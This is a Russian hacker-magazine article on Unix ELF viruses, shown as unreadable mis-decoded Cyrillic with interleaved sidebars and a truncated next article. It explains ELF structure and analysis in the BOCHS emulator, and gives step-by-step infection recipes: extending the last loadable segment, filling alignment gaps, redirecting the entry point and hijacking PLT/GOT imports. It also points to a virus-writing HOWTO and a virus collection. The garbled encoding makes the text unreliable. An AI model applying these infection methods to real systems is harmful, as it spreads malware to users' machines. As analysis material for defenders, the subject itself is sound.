è àëãîðèòìû èç òåë ïîïàâøèõ ê íåìó
âèðóñîâ? ×àùå âñåãî âèðóñàìè îáìå-
íèâàþòñÿ òåò-à-òåò. Êîëëåêöèè, íàé-

äåííûå â ñåòè, äëÿ îïûòíûõ õàêåðîâ
íå ïðåäñòàâëÿþò íèêàêîãî èíòåðåñà,
ïîñêîëüêó íàáèðàþòñÿ èç îòêðûòûõ
èñòî÷íèêîâ, íî äëÿ íà÷èíàþùèõ èñ-
ñëåäîâàòåëåé ýòî - íàñòîÿùèé êëàä.

Åñëè èñõîäíûå òåêñòû âèðóñà îòñóò-
ñòâóþò (êðèâûå äèçàññåìáëåðíûå
ëèñòèíãè, âûäàâàåìûå çà áîæåñòâåí-
íîå îòêðîâåíèå, ìû â ðàñ÷åò íå áå-
ðåì), ïðåïàðèðîâàòü äâîè÷íûé êîä
âèðóñà ïðèõîäèòñÿ ñàìîñòîÿòåëüíî.
Òóò-òî íàñ è ïîäæèäàåò îäíà áîëüøàÿ
ïðîáëåìà. Äèçàññåìáëåð âñåõ âðåìåí
è íàðîäîâ IDA Pro íå ïðèñïîñîáëåí
äëÿ ðàáîòû ñ ELF-âèðóñàìè, ïîñêîëü-
êó îòêàçûâàåòñÿ çàãðóæàòü ôàéëû ñ
èñêàæåííûì section header'îì (à
áîëüøèíñòâî âèðóñîâ íèêàê íå êîð-
ðåêòèðóþò åãî ïîñëå çàðàæåíèÿ!).
Äðóãèõ äîñòîéíûõ äèçàññåìáëåðîâ,
ïåðåâàðèâàþùèõ ELF-ôîðìàò, ìíå îá-
íàðóæèòü òàê è íå óäàëîñü (à ñàìîìó
ïèñàòü ëåíü). Çà íåèìåíèåì ëó÷øèõ
èäåé ïðèõîäèòñÿ âîçèòüñÿ ñ HEX-ðå-
äàêòîðàìè (íàïðèìåð, ñ òåì æå
HIEW'îì), ðàçáèðàÿñü ñî ñëóæåáíûìè
ñòðóêòóðàìè ôàéëà âðó÷íóþ.

Ñ îòëàä÷èêàìè äåëî îáñòîèò åùå õó-
æå. Ôàêòè÷åñêè ïîä *nix ñóùåñòâóåò
âñåãî îäèí áîëåå èëè ìåíåå ñàìîñòîÿ-
òåëüíûé îòëàä÷èê ïðèêëàäíîãî óðîâ-
íÿ � gdb (GNU Debugger), ÿâëÿþùèé-
ñÿ ôóíäàìåíòîì äëÿ áîëüøèíñòâà îñ-
òàëüíûõ. Ïðîñòåéøèå àíòèîòëàäî÷-
íûå ïðèåìû, íàðûòûå â õàêåðñêèõ ìà-
íóàëàõ âðåìåí ïåðâîé ìîëîäîñòè MS-
DOS, ïóñêàþò gdb â ðàçíîñ èëè ïîçâî-
ëÿþò âèðóñó âûðâàòüñÿ èç-ïîä åãî
êîíòðîëÿ, ïîýòîìó îòëàæèâàòü âèðóñ-
íûé êîä íà ðàáî÷åé ìàøèíå êàòåãîðè-
÷åñêè íåäîïóñòèìî è ëó÷øå èñïîëü-
çîâàòü äëÿ ýòîé öåëè ýìóëÿòîð, òàêîé,
êàê BOCHS. Îñîáåííî ïðåäïî÷òèòåëü-
íû ýìóëÿòîðû, ñîäåðæàùèå èíòåãðè-
ðîâàííûé îòëàä÷èê, îáîéòè êîòîðûé
âèðóñó áóäåò î÷åíü òÿæåëî, à, â èäåà-
ëå, âîîáùå íåâîçìîæíî (BOCHS òà-
êîé îòëàä÷èê ñîäåðæèò). Êñòàòè ãîâî-
ðÿ, ñîâåðøåííî íåîáÿçàòåëüíî äëÿ
èññëåäîâàíèÿ ELF-âèðóñîâ óñòàíàâëè-
âàòü *nix. Ýìóëÿòîðà äëÿ ýòèõ öåëåé
áóäåò áîëåå ÷åì äîñòàòî÷íî.

ELF 
Ñòðóêòóðà ELF-ôàéëîâ (ELF -

Execution & Linkable Format) èìååò
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Ìàëî÷èñ-
ëåííîñòü
âèðóñîâ â
ìèðå *nix
êîìïåíñè-
ðóåòñÿ îò-
ñóòñòâèåì
íîðìàëüíûõ
àíòèâèðó-
ñîâ.

Îòëàäêà âèðóñíîãî êîäà íà èíòåãðèðîâàííîì îòëàä÷èêå
ýìóëÿòîðà BOCHS èç-ïîä w2k

Êëàññè÷åñêèé ìåõàíèçì èìïîðòà âíåøíèõ ôóíêöèé èç/â ELF-
ôàéëîâ â îáùåì âèäå âûãëÿäèò òàê: íà ïåðâîì ýòàïå âûçîâà èìïîð-
òèðóåìîé ôóíêöèè èç ñåêöèè .text âûçûâàåòñÿ "ïåðåõîäíèê", êîòî-
ðûé ðàñïîëàãàåòñÿ â ñåêöèè .plt (Procedure Linkable Table) è ññûëà-
åòñÿ â ñâîþ î÷åðåäü íà óêàçàòåëü íà ôóíêöèþ printf, ÷òî ðàñïîëî-
æåí â ñåêöèè .got ("Global Offset Tables"), àññîöèèðîâàííîé ñ òàáëè-
öåé ñòðîê, ñîäåðæàùåé èìåíà âûçûâàåìûõ ôóíêöèé (èëè èõ õýøè).

Íèæå ïðèâåäåíà ñõåìà âûçîâà ôóíêöèè printf óòèëèòîé ls, ïîçàèì-
ñòâîâàííîé èç êîìïëåêòà ïîñòàâêè Red Hat 5.0.

Â êàêîå ìåñòî ýòîé öåïî÷êè ìîæåò âíåäðèòüñÿ âèðóñ? Íó, ïðåæäå
âñåãî, îí ìîæåò ñîçäàòü ïîäëîæíóþ òàáëèöó ñòðîê, ïåðåõâàòûâàÿ
âûçîâû âñåõ èíòåðåñóþùèõ åãî ôóíêöèé. ×àùå âñåãî çàðàæåíèþ
ïîäâåðãàåòñÿ ôóíêöèÿ printf/fprintf/sprintf (ïîñêîëüêó áåç íåå íå
îáõîäèòñÿ ïðàêòè÷åñêè íè îäíà ïðîãðàììà) è ôóíêöèè ôàéëîâîãî
ââîäà/âûâîäà, ÷òî àâòîìàòè÷åñêè îáåñïå÷èâàåò ïðîçðà÷íûé ìåõà-
íèçì ïîèñêà íîâûõ æåðòâ äëÿ çàðàæåíèÿ.

Âèðóñû-ñïóòíèêè ñîçäàþò ñïåöèàëüíóþ áèáëèîòåêó-ïåðåõâàò÷èê
âî âñåõ çàðàæàåìûõ ôàéëàõ. Ïîñêîëüêó IDA Pro ïðè äèçàññåìáëè-
ðîâàíèè ELF-ôàéëîâ íå îòîáðàæàåò èìÿ èìïîðòèðóåìîé áèáëèîòå-
êè, çàïîäîçðèòü ÷òî-òî íåëàäíîå â ýòîé ñèòóàöèè íåëåãêî. Ê
ñ÷àñòüþ, HEX-ðåäàêòîðû åùå íèêòî íå îòìåíÿë. Äðóãèå æå âèðóñû
ñêëîííû ìàíèïóëèðîâàòü ïîëÿìè ãëîáàëüíîé òàáëèöû ñìåùåíèé,
ïåðåóñòàíàâëèâàÿ èõ íà ñâîå òåëî.

ÏÅÐÅÕÂÀÒ ÓÏÐÀÂËÅÍÈß ÏÓÒÅÌ ÌÎÄÈÔÈÊÀÖÈÈ
ÒÀÁËÈÖÛ ÈÌÏÎÐÒÀ



*nix- è
Windows-
âèðóñû
ñòðîÿòñÿ ïî
îäíèì è òåì
æå ïðèíöè-
ïàì, ïðè÷åì
UNIX-âèðó-
ñû äàæå
ïðîùå.

ìíîãî îáùèõ ÷åðò ñ PE (Portable
Execution) � îñíîâíûì èñïîëíÿåìûì
ôîðìàòîì ïëàòôîðìû Windows 9x è
NT, êîíöåïöèè èõ çàðàæåíèÿ âåñüìà
ñõîæè, õîòÿ è ðåàëèçóþòñÿ ðàçëè÷-
íûì îáðàçîì.

ELF-ôàéë ñîñòîèò èç ELF-çàãîëîâêà
(ELF-header), îïèñûâàþùåãî îñíîâ-
íûå îñîáåííîñòè ïîâåäåíèÿ ôàéëà,
çàãîëîâêà ïðîãðàììíîé òàáëèöû (pro-
gram header table) è îäíîãî èëè íåñ-
êîëüêèõ ñåãìåíòîâ (segment), ñîäåð-
æàùèõ êîä, èíèöèàëèçèðîâàííûå/íå-
èíèöèàëèçèðîâàííûå äàííûå è ïðî-
÷èå ñòðóêòóðû. 

Êàæäûé ñåãìåíò ïðåäñòàâëÿåò ñîáîé
íåïðåðûâíóþ îáëàñòü ïàìÿòè ñî ñâîè-
ìè àòðèáóòàìè äîñòóïà (êîäîâûé ñåã-
ìåíò îáû÷íî äîñòóïåí òîëüêî íà èñ-
ïîëíåíèå, ñåãìåíòû äàííûõ êàê ìèíè-
ìóì äîñòóïíû íà ÷òåíèå, à ïðè íåîáõî-
äèìîñòè åùå è íà çàïèñü). Ïóñòü ñëîâî
"ñåãìåíò" íå ââîäèò òåáÿ â çàáëóæäå-
íèå: íè÷åãî îáùåãî ñ ñåãìåíòíîé ìî-
äåëüþ ïàìÿòè òóò íåò. Áîëüøèíñòâî
32-áèòíûõ ðåàëèçàöèé UNIX'à ïîìåùà-
þò âñå ñåãìåíòû ELF-ôàéëà â îäèí 4-
ãèãàáàéòíûé "ïðîöåññîðíûé" ñåãìåíò
(òàê íàçûâàåìûé ïëîñêàÿ (flat) ìîäåëü
ïàìÿòè). Â ïàìÿòè âñå ELF-ñåãìåíòû
äîëæíû âûðàâíèâàòüñÿ ïî âåëè÷èíå
ñòðàíèöû (íà x86, ðàâíîé 4 Êá), íî
íåïîñðåäñòâåííî â ñàìîì ELF-ôàéëå
õðàíÿòñÿ â íåâûðàâíåííîì âèäå,
âïëîòíóþ ïðèæèìàÿñü äðóã ê äðóãó.
Ñàì ELF-çàãîëîâîê è program header â
ïåðâûé ñåãìåíò íå âõîäÿò (íó, ôîð-
ìàëüíî íå âõîäÿò), íî ñîâìåñòíî ãðó-
çÿòñÿ â ïàìÿòü, ïðè ýòîì íà÷àëî ñåã-
ìåíòà ñëåäóåò íåïîñðåäñòâåííî çà
êîíöîì program header'à è ïî ãðàíèöå
ñòðàíèöû íå âûðàâíèâàåòñÿ!

Ïîñëåäíèì èç âñåõ èäåò çàãîëîâîê
òàáëèöû ñåêöèé (section header table).
Äëÿ èñïîëíÿåìûõ ôàéëîâ îí íåîáÿ-
çàòåëåí è ðåàëüíî èñïîëüçóåòñÿ
òîëüêî â îáúåêòíèêàõ. Åùå â íåì íóæ-
äàþòñÿ îòëàä÷èêè � èñïîëíÿåìûé
ôàéë ñ èçóðîäîâàííûì section header
table íå îòëàæèâàåòñÿ íè gdb, íè ïðî-
èçâîäíûìè îò íåãî îòëàä÷èêàìè, õîòÿ
íîðìàëüíî îáðàáàòûâàåòñÿ îïåðàöè-
îííîé ñèñòåìîé.

Ñåãìåíòû åñòåñòâåííûì îáðàçîì äå-
ëÿòñÿ íà ñåêöèè. Òèïè÷íûé êîäîâûé
ñåãìåíò ñîñòîèò èç ñåêöèé .init (ïðîöå-
äóðû èíèöèàëèçàöèè), .plt (ñåêöèÿ
ñâÿçîê), .text (îñíîâîé êîä ïðîãðàì-

ìû) è .finit (ïðîöåäóðû ôèíàëèçàöèè),
àòðèáóòû êîòîðûõ îïèñûâàþòñÿ â sec-
tion header'e. Çàãðóç÷èê îïåðàöèîí-
íîé ñèñòåìû íè÷åãî íå çíàåò î ñåêöè-
ÿõ, èãíîðèðóÿ èõ àòðèáóòû è çàãðóæàÿ
âåñü ñåãìåíò öåëèêîì. Òåì íå ìåíåå,
äëÿ ñîõðàíåíèÿ ðàáîòîñïîñîáíîñòè
çàðàæåííîãî ôàéëà ïîä îòëàä÷èêîì
âèðóñ äîëæåí êîððåêòèðîâàòü îáà çà-
ãîëîâêà ñðàçó - êàê program header,
òàê è section header.

Îñíîâíûå ñòðóêòóðû ELF íàõîäÿòñÿ
â ôàéëå /usr/include/elf.h.

Çà áîëåå ïîäðîáíîé èíôîðìàöèåé
îáðàùàéñÿ ê îðèãèíàëüíîé ñïåöèôè-
êàöèè íà ELF-ôàéë "Executable and
Linkable Format � Portable Format
Specification", ñîñòàâëåííîé, åñòåñò-
âåííî, íà àíãëèéñêîì ÿçûêå.

ÌÅÒÎÄÛ ÇÀÐÀÆÅÍÈß
Ïðîñòåéøèé è íàèáîëåå óíèâåð-

ñàëüíûé ìåòîä çàðàæåíèÿ ñâîäèòñÿ ê
ïîãëîùåíèþ îðèãèíàëüíîãî ôàéëà
âèðóñîì. Âèðóñ ïðîñòî äîïèñûâàåò
îðèãèíàëüíûé ôàéë ê ñâîåìó òåëó êàê
îâåðëåé, à äëÿ ïåðåäà÷è óïðàâëåíèÿ
æåðòâå ïðîäåëûâàåò îáðàòíûé ïðî-
öåññ: ïðîïóñêàåò ïåðâûå virus_size
áàéò ñâîåãî òåëà (÷òî îáû÷íî îñóùå-
ñòâëÿåòñÿ ôóíêöèåé seek), ñ÷èòûâàåò
îñòàâøèéñÿ «õâîñò» è çàïèñûâàåò
åãî âî âðåìåííûé ôàéë. Ïðèñâàèâàåò
àòðèáóò èñïîëíÿåìîãî è äåëàåò åìó

exec, ïðåäâàðèòåëüíî ðàñùåïèâ ìà-
òåðèíñêèé ïðîöåññ ôóíêöèåé fork.
Ïîñëå çàâåðøåíèÿ ðàáîòû ôàéëà-
æåðòâû âèðóñ óäàëÿåò âðåìåííûé
ôàéë ñ äèñêà.

Îïèñàííûé àëãîðèòì ýëåìåíòàðíî
ðåàëèçóåòñÿ íà ëþáîì ÿçûêå ïðîãðàì-
ìèðîâàíèÿ âïëîòü äî Áåéñèêà è ïðè-
ãîäåí êàê äëÿ èñïîëíÿåìûõ ôàéëîâ,
òàê è äëÿ ñêðèïòîâ. Îäíàêî åìó ïðèñó-
ùè è íåäîñòàòêè. Îí ìåäëèòåëåí è íå-
ýëåãàíòåí, òðåáóåò âîçìîæíîñòè çàïè-
ñè íà äèñê è ïðàâ óñòàíîâêè àòðèáóòà
"èñïîëíÿåìûé". Êðîìå òîãî, ïîÿâëå-
íèå ïîñòîðîííèõ ôàéëîâ íà äèñêå íå
ìîæåò äîëãî îñòàâàòüñÿ íåçàìå÷åí-
íûì, è ó÷àñòü âèðóñà çàðàíåå ïðåäðå-
øåíà. Ïîýòîìó áîëüøèíñòâî âèðóñîâ
íå èñïîëüçóþò òàêóþ ìåòîäèêó, à
ïðåäïî÷èòàþò âíåäðÿòüñÿ â êîíåö
ïîñëåäíåãî ñåãìåíòà ôàéëà, ðàñøè-
ðÿÿ åãî íà íåîáõîäèìóþ âåëè÷èíó.
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Èç äåñÿòêà
âîçìîæíûõ
ìåòîäîâ
âíåäðåíèÿ â
ELF-ôàéëû
âèðóñîïèñà-
òåëÿì óäà-
ëîñü îñâî-
èòü ëèøü
äâà-òðè, òàê
÷òî íà îò-
ñóòñòâèå
òâîð÷åñêîãî
ïðîñòîðà
æàëîâàòüñÿ
íå ïðèõî-
äèòñÿ.

Ñîçäàíèå
âèðóñîâ íå
ïðåñëåäóåò-
ñÿ ïî çàêî-
íó. Ïî çàêî-
íó ïðåñëå-
äóåòñÿ ñîç-
äàíèå âðå-
äîíîñíûõ
ïðîãðàìì.

ÇÀÐÀÇÀ ÄËß ÍÈÊÑÎÂ56 ÂÇËÎÌ

Èññëåäîâàíèå âèðóñîâ ïîä UNIX ñ ïîìîùüþ äèçàññåìá-
ëåðà iceix

W W W

bochs
bochs.sourceforge.net
Êà÷åñòâåííûé ýìóëÿòîð ÏÊ ñ èíòåãðèðîâàííûì îòëàä÷èêîì âíóòðè.
Õîðîøî ïîäõîäèò äëÿ ýêñïåðèìåíòîâ ñ âèðóñàìè íåïîñðåäñòâåííî
íà òâîåé ðàáî÷åé ìàøèíå áåç ðèñêà óíè÷òîæåíèÿ èíôîðìàöèè.
Áåñïëàòåí, ðàñïðîñòðàíÿåòñÿ ñ èñõîäíûìè òåêñòàìè.

Executable aand LLinkable FFormat �� PPortable FFormat SSpecification
www.ibiblio.org/pub/historic-linux/ftp-archives/sunsite.unc.edu/Nov-
06-1994/GCC/ELF.doc.tar.gz
"Ðîäíàÿ" ñïåöèôèêàöèÿ íà ELF-ôîðìàò. Íàñòîÿòåëüíî ðåêîìåíäó-
åòñÿ ê èçó÷åíèþ âñåì âèðóñîïèñàòåëÿì, ïðîáóþùèì ñâîè ñèëû íà
ïëàòôîðìå UNIX.

The LLinux VVirus WWriting AAnd DDetection HHOWTO
www.creangel.com/papers/writingvirusinlinux.pdf
Ïîøàãîâîå ðóêîâîäñòâî ïî ïðîåêòèðîâàíèþ è ðåàëèçàöèè âèðóñîâ
ïîä LINUX ñ êó÷åé ãîòîâûõ ïðèìåðîâ (íà àíãëèéñêîì ÿçûêå). 

"UNIX vviruses" îîò SSilvio CCesare
vx.netlux.org/lib/vsc02.html
Ñòàòüÿ, îïèñûâàþùàÿ îñíîâíûå ïðèíöèïû ôóíêöèîíèðîâàíèÿ
UNIX-âèðóñîâ è ñïîñîáû èõ äåòåêòèðîâàíèÿ (íà àíãëèéñêîì ÿçûêå). 

LINUX VVIRUSES - EELF FFILE FFORMAT MMarius VVan OOers
www.nai.com/common/media/vil/pdf/mvanvoers_VB_conf%252020
00.pdf&e=747
Áëåñòÿùèé îáçîð ñîâðåìåííûõ UNIX-âèðóñîâ è àíàëèç èñïîëüçóå-
ìûõ èìè ìåòîäèê âíåäðåíèÿ â ELF-ôàéëû (íà àíãëèéñêîì ÿçûêå).

ÑÑÛËÊÈ ÏÎ ÒÅÌÅ

ELF Header
Program header table
Segment 1
Segment 2
Section header table (optional)

ÑÒÐÓÊÒÓÐÀ
ÈÑÏÎËÍßÅÌÎÃÎ 
ELF-ÔÀÉËÀ



Îãðîìíàÿ
êîëëåêöèÿ
*nix-âèðóñîâ
(è íå òîëü-
êî) èìååòñÿ
íà
vx.netlux.org.

Ìíîãèå
*nix-âèðóñû
çàâèñÿò îò
âåðñèè îïå-
ðàöèîííîé
ñèñòåìû,
ïîýòîìó
âñÿêèé èñ-
ñëåäîâàòåëü
âûíóæäåí
äåðæàòü íà
ñâîåé ìà-
øèíå çî-
îïàðê îñåé.

Ïîä ïîñëåäíèì çäåñü ïîäðàçóìåâà-
åòñÿ ïîñëåäíèé ïîäõîäÿùèé ñåãìåíò
ôàéëà, ÷åì, êàê ïðàâèëî, ÿâëÿåòñÿ
ñåãìåíò èíèöèàëèçèðîâàííûõ äàííûõ,
çà êîòîðûì ñëåäóåò ñåãìåíò íåèíèöè-
àëèçèðîâàííûõ äàííûõ, çàíèìàþùèé
íîëü áàéò äèñêîâîé ïàìÿòè. Êîíå÷íî,
ìîæíî âíåäðèòüñÿ è â íåãî, íî ýòî áó-
äåò âûãëÿäåòü êàê-òî ñòðàííî.

Ïðèáëèçèòåëüíûé àëãîðèòì âíåäðå-
íèÿ â êîíåö ELF-ôàéëà âûãëÿäèò ñëå-
äóþùèì îáðàçîì:
1. âèðóñ îòêðûâàåò ôàéë è, ñ÷èòû-

âàÿ åãî çàãîëîâîê, óáåæäàåòñÿ, ÷òî
ýòî äåéñòâèòåëüíî ELF;
2. ïðîñìàòðèâàÿ Program Header

Table, âèðóñ îòûñêèâàåò ïîñëåäíèé
ñåãìåíò ñ àòðèáóòîì PL_LOAD;
3. íàéäåííûé ñåãìåíò "ðàñïàõèâàåò-

ñÿ" äî êîíöà ôàéëà è óâåëè÷èâàåòñÿ íà
âåëè÷èíó, ðàâíóþ ðàçìåðó òåëà âèðóñà,
÷òî îñóùåñòâëÿåòñÿ ïóòåì ñèíõðîííîé
êîððåêöèè ïîëåé p_filez è p_memz;
4. âèðóñ äîïèñûâàåò ñåáÿ â êîíåö

çàðàæàåìîãî ôàéëà;
5. äëÿ ïåðåõâàòà óïðàâëåíèÿ âèðóñ

êîððåêòèðóåò òî÷êó âõîäà â ôàéë
(e_entry) ëèáî æå âíåäðÿåò â èñòèííóþ
òî÷êó âõîäà jmp íà ñâîå òåëî (âïðî÷åì,
ìåòîäèêà ïåðåõâàòà óïðàâëåíèÿ - òåìà
îòäåëüíîãî äîëãîãî ðàçãîâîðà).

Òåîðåòè÷åñêè âèðóñ ìîæåò âíåä-
ðèòüñÿ â ñåðåäèíó ôàéëà, äîïèñàâ
ñâîå òåëî â êîíåö êîäîâîãî ñåãìåíòà
è ñäâèíóâ âñå ïîñëåäóþùèå ñåãìåíòû
âíèç, îäíàêî ïðè ýòîì åìó ïîòðåáóåò-
ñÿ ñêîððåêòèðîâàòü âñå óêàçàòåëè íà
ÿ÷åéêè ñåãìåíòà äàííûõ, ïîñêîëüêó
ïîñëå çàðàæåíèÿ îíè áóäóò ðàñïîëà-
ãàòüñÿ ïî ñîâåðøåííî äðóãèì àäðå-
ñàì. Êàê âàðèàíò, ïåðåä ïåðåäà÷åé óï-
ðàâëåíèÿ ïðîãðàììå-íîñèòåëþ âèðóñ
ìîæåò "ïîäòÿíóòü" îïóùåííûå ñåã-
ìåíòû ââåðõ, âåðíóâ èõ íà ñâîå çàêîí-
íîå ìåñòî, íî, åñëè ôàéë ñîäåðæèò
ïåðåìåùàåìûå ýëåìåíòû èëè ïðî÷èå
ñëóæåáíûå ñòðóêòóðû äàííûõ, âèðóñó
èõ ïðèäåòñÿ ñêîððåêòèðîâàòü òîæå, â
ïðîòèâíîì ñëó÷àå ñèñòåìíûé çàãðóç-
÷èê íåîáðàòèìî èñêàçèò çàðàæåííûé
ôàéë è òîò îòêàæåò â ðàáîòå. Âñå ýòî
ñëèøêîì ñëîæíî äëÿ íà÷èíàþùèõ, à
ïîòîìó âèðóñû ïîäîáíîãî òèïà íå ïî-
ëó÷èëè áîëüøîãî ðàñïðîñòðàíåíèÿ.

Âîçìîæíî âíåäðèòüñÿ â îáëàñòü, îá-
ðàçîâàííóþ âûðàâíèâàíèåì ñåãìåí-

òîâ â ïàìÿòè. Ïîñêîëüêó ãðàíèöû ñåã-
ìåíòîâ âñåãäà âûðàâíèâàþòñÿ íà âå-
ëè÷èíó 4 Êá, ìåæäó êîíöîì êîäîâîãî
ñåãìåíòà è íà÷àëîì ñåãìåíòà äàííûõ
îáû÷íî ìîæíî íàñêðåñòè íåêîòîðîå
êîëè÷åñòâî íåçàíÿòîãî ïðîñòðàíñòâà.
Âïðî÷åì, íèêàêèõ ãàðàíòèé íà ýòîò
ñ÷åò ó íàñ íåò, à ïîòîìó äëÿ çàðàæå-
íèÿ ïîäõîäÿò äàëåêî íå âñå ôàéëû.
1. âèðóñ îòêðûâàåò ôàéë è, ñ÷èòû-

âàÿ åãî çàãîëîâîê, óáåæäàåòñÿ, ÷òî
ýòî äåéñòâèòåëüíî ELF;
2. ïðîñìàòðèâàÿ program header

table, âèðóñ íàõîäèò ñåãìåíò ñ àòðèáó-
òîì PL_LOAD è (PAGE_SIZE % p_filesz)
>= virus_size; åñëè æå òàêîãî ñåãìåíòà
íåò, âèðóñ îòêàçûâàåòñÿ îò çàðàæåíèÿ;
3. ïîëÿ p_filez (ðàçìåð íà äèñêå) è

p_memsz (ðàçìåð â ïàìÿòè) ñîîòâåò-
ñòâóþùåãî ñåãìåíòà óâåëè÷èâàþòñÿ
íà äëèíó òåëà âèðóñà;
4. ïîëå p_offset è ôàêóëüòàòèâíî

sh_offset âñåõ ïîñëåäóþùèõ ñåãìåí-
òîâ/ñåêöèé óâåëè÷èâàåòñÿ íà äëèíó
òåëà âèðóñà;
5. ïîëÿ e_phoff è ôàêóëüòàòèâíî

e_shoff ELF-çàãîëîâêà óâåëè÷èâàåòñÿ
íà âåëè÷èíó òåëà âèðóñà;
2. âèðóñ âíåäðÿåò ñåáÿ â êîíåö âûá-

ðàííîãî ñåãìåíòà;
6. äëÿ ïåðåõâàòà óïðàâëåíèÿ âèðóñ

êîððåêòèðóåò òî÷êó âõîäà â ôàéë
(e_entry) ëèáî æå âíåäðÿåò â èñòèí-
íóþ òî÷êó âõîäà jmp íà ñâîå òåëî.

Íåêîòîðûå âèðóñû âíåäðÿþòñÿ â îá-
ëàñòü ïàìÿòè ìåæäó çàãîëîâêîì è íà-
÷àëîì ïåðâîãî ñåãìåíòà (âî âñÿêîì
ñëó÷àå, ïûòàþòñÿ ýòî ñäåëàòü). Îäíà-
êî áîëüøèíñòâî ôàéëîâ "ïðèêëåèâà-
þò" ñâîé ïåðâûé ñåãìåíò ê çàãîëîâêó,
èç-çà ÷åãî äëÿ âíåäðåíèÿ ïðîñòî íå
îñòàåòñÿ ñâîáîäíîãî ìåñòà.

ÎÁÙÀß ÑÒÐÓÊÒÓÐÀ 
È ÑÒÐÀÒÅÃÈß ÂÈÐÓÑÀ

Êîíêðåòíàÿ ñòðóêòóðà âèðóñíîãî
êîäà çàâèñèò îò ôàíòàçèè åãî ðàçðà-
áîò÷èêà è âûãëÿäèò ïðèáëèçèòåëüíî
òàê æå, êàê è â Windows-âèðóñàõ.
Îáû÷íî âíà÷àëå íàõîäèòñÿ ðàñøèô-
ðîâùèê, çà íèì ðàñïîëîæåíû ìîäóëü
ïîèñêà ïîäõîäÿùèõ æåðòâ, èíæåêòîð
âèðóñíîãî êîäà è ïðîöåäóðà ïåðåäà÷è
óïðàâëåíèÿ ôàéëó-íîñèòåëþ.

Äëÿ áîëüøèíñòâà ELF-âèðóñîâ õà-
ðàêòåðíà ñëåäóþùàÿ ïîñëåäîâàòåëü-

íîñòü ñèñòåìíûõ âûçîâîâ: sys_open
(mov eax, 05h/int 80h) îòêðûâàåò
ôàéë; sys_lseek (mov eax,13h) ïåðåìå-
ùàåò ôàéëîâûé óêàçàòåëü íà íóæíîå
ìåñòî; old_mmap (mov eax, 5Ah/int
80h) ïðîåöèðóåò ôàéë â ïàìÿòü;
sys_unmap (mov eax, 5Bh/int 80h)
óäàëÿåò îáðàç èç ïàìÿòè, çàïèñûâàÿ
íà äèñê âñå èçìåíåíèÿ, à sys_close
(mov eax, 06/int 80h) çàêðûâàåò
ñàì ôàéë.

Òåõíèêà ïðîåöèðîâàíèÿ (mapping)
çíà÷èòåëüíî óïðîùàåò ðàáîòó ñ ôàé-
ëàìè áîëüøîãî îáúåìà. Òåïåðü óæå íå
íóæíî âûäåëÿòü áóôåð, êîïèðóÿ òóäà
ôàéë ïî êóñêàì, è âñþ ÷åðíóþ ðàáîòó
ìîæíî ïåðåëîæèòü íà ïëå÷è îïåðàöè-
îííîé ñèñòåìû, ñîñðåäîòî÷èâ ñâîè
óñèëèÿ íåïîñðåäñòâåííî íà ïðîöåññå
çàðàæåíèÿ. Ïðàâäà, ïðè çàðàæåíèè
ôàéëà ïðîòÿæåííîñòüþ â íåñêîëüêî
ãèãàáàéò (íàïðèìåð, ñàìîðàñïàêîâûâà-
þùåãîñÿ äèñòðèáóòèâà êàêîãî-òî ïðîã-
ðàììíîãî ïðîäóêòà) âèðóñó ïðèäåòñÿ
ëèáî ïðîñìàòðèâàòü ôàéë ÷åðåç "îê-
íî", ïðîåöèðóÿ â 4-ãèãàáàéòíîå àäðåñ-
íîå ïðîñòðàíñòâî ðàçëè÷íûå åãî ÷àñ-
òè, ëèáî ïîïðîñòó îòêàçàòüñÿ îò çàðà-
æåíèÿ, âûáðàâ ôàéë ïîïðèëè÷íåå. Ïî-
äàâëÿþùåå áîëüøèíñòâî âèðóñîâ
èìåííî òàê è ïîñòóïàåò.

ÇÀÊËÞ×ÅÍÈÅ
Â áëèæàéøåå âðåìÿ, ïî-âèäèìî-

ìó, ñëåäóåò îæèäàòü çíà÷èòåëüíûé
ðîñò ÷èñëåííîñòè ELF-âèðóñîâ, èáî
äëÿ ýòîãî èìåþòñÿ âñå óñëîâèÿ.
Âñïëåñê èíòåðåñà ê Linux ïîøåë íå
íà ïîëüçó ýòîé îïåðàöèîííîé ñèñ-
òåìå. Â ïîãîíå çà óëó÷øåíèÿìè åå
ïðåâðàòèëè â ðåøåòî, ïðèêðóòèëè
"èíòóèòèâíî ïîíÿòíûé" ãðàôè÷åñ-
êèé èíòåðôåéñ, íî íå ïðåäóïðåäèëè
ïîëüçîâàòåëåé, ÷òî ïðåæäå ÷åì íà-
÷àòü ðàáîòàòü ñ ñèñòåìîé, ñëåäóåò
ïåðåëîïàòèòü òûñÿ÷è ñòðàíèö òåõ-
íè÷åñêîé äîêóìåíòàöèè è ïðî÷è-
òàòü õîòÿ áû ïàðó óìíûõ êíèæåê, â
ïðîòèâíîì ñëó÷àå çàðàçà íå çàñòà-
âèò ñåáÿ äîëãî æäàòü. ×åì áîëüøå
íàðîäó ïåðåéäåò íà *nix, òåì áîëü-
øå ñðåäè íèõ îêàæåòñÿ õàêåðîâ è
âèðóñîïèñàòåëåé, è òîãäà ñ *nix
ïðîèçîéäåò òî æå, ÷òî â ñâîå âðåìÿ
ïðîèçîøëî ñ MS-DOS. Áóäóò ëè ýòè
âèðóñû äîáðîäóøíûìè èëè çëîáíû-
ìè, çàâèñèò îò òåáÿ. E
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Àíòèâèðóñ-
íàÿ Ýíöèê-
ëîïåäèÿ
Êàñïåðñêîãî
ñîäåðæèò
áîëüøîå êî-
ëè÷åñòâî
ôàêòè÷åñ-
êèõ îøèáîê
â îïèñàíèè
*nix-âèðó-
ñîâ.

Òèïè÷íàÿ ñòðóêòóðà âèðóñíîãî êîäà

Ñòðóêòóðà ôàéëà echo èç êîìïëåêòà ïîñòàâêè FreeBSD 4.5. Ìåæäó ñåêöèÿìè .finit è
.rodata ðàñïîëîæåíî âñåãî ëèøü 1Eh áàéò äàííûõ, ÷òî íåäîñòàòî÷íî äëÿ ðàçìåùåíèÿ
äàæå êðîøå÷íîãî âèðóñà

Ñòðóêòóðà ôàéëà ls èç êîìïëåêòà ïîñòàâêè RedHat 5.0. Ìåæäó ñåêöèÿìè .rodata è .data
èìååòñÿ 1000h áàéò, ÷òî ñ ëèõâîé õâàòàåò äëÿ ðàçìåùåíèÿ äàæå âûñîêîòåõíîëîãè÷íî-
ãî âèðóñà



Master-lame-master

Ë þáàÿ òåîðèÿ äîëæíà áûòü çàêðåïëåíà ïðàêòèêîé. Äàæå òåîðèÿ âçëîìà. Åñëè ÷åëîâåê íèêîãäà íå ïðîâåðÿë ñâîè
